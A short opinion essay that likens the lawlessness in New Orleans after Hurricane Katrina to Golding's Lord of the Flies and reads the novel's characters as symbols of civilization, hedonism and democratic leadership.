Hurricane Katrina left New Orleans a ghost town (August-September 2005) and for a few days law and order were absent from some parts of the city. In such cases the veneer of civilization that covered the darker aspects of human nature were peeled away. Such is the basic theme of William Golding's 1954 novel The Lord of the Flies. Just as the British naval ship arrived to bring civilization back to the island on which a group of British children had descended into savagery,the National Guard restored order to New Orleans. Civilization once again triumphed over evil. Or so it might seem.
Remember the protagonists in The Lord of the Flies?Piggy and Jack—symbolize the opposite extremes of human behavior. Piggy demands adherence to the rules he grew up with: respect for others, hierarchy of responsibility and compassion. Jack represents the hedonistic side of human nature: If it's fun, do it. The third character, Ralph, represents the dilemma of political leadership in a democracy. On the one hand, Ralph tries to satisfy the wishes of the other children on the island. On the other, he knows that certain rules of behavior and stewardship must prevail or anarchy and primitivism will triumph.
There is no British ship-of-war coming to rescue humanity—we are it. We bring order to our global village or the growing anarchy we see around the world will continue to deliver suffering. Our story could have a happy ending—but so far we are opting for the dark conclusion.
